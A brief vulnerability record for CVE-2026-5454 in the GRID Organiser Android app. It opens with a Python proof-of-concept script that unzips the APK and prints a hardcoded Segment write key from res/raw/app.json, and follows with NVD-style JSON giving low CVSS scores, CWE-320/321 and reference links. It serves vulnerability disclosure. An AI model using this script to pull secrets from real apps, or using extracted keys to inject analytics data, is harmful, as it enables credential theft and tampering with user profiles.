CVE-2026-5454

# Proof of Concept for CVE-2026-5454 # This script demonstrates extracting the hardcoded key from the APK. import zipfile import json import sys def check_apk_vulnerability(apk_path): try: with zipfile.ZipFile(apk_path, 'r') as z: # Target file containing the hardcoded key target_file = 'res/raw/app.json' if target_file in z.namelist(): print(f"[+] Found {target_file}") data = z.read(target_file) json_content = json.loads(data) # Check for the specific vulnerable argument if 'SegmentWriteKey' in json_content: print(f"[!] Vulnerability Confirmed: Hardcoded SegmentWriteKey found.") print(f" Key Value: {json_content['SegmentWriteKey']}") else: print("[-] SegmentWriteKey not found in the JSON file.") else: print(f"[-] Target file {target_file} not found in APK.") except Exception as e: print(f"[!] Error during analysis: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <path_to_grid_organiser.apk>") else: check_apk_vulnerability(sys.argv[1])

{"cve": {"id": "CVE-2026-5454", "sourceIdentifier": "[email protected]", "published": "2026-04-03T05:16:23.940", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in GRID Organiser App up to 1.0.5 on Android. Impacted is an unknown function of the file file res/raw/app.json of the component co.gridapp.organiser. Performing a manipulation of the argument SegmentWriteKey results in use of hard-coded cryptographic key\r . The attack is only possible with local access. The exploit has been made public and could be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:N/A:N", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-320"}, {"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://vuldb.com/submit/781759", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355042", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/355042/cti", "source": "[email protected]"}, {"url": "https://www.notion.so/Segment-Write-Key-Exposure-Leading-to-Data-Injection-and-User-Profile-Manipulation-In-co-gridapp-org-3262de3f97fb801b9173c4851c7ad864?source=copy_link", "source": "[email protected]"}]}}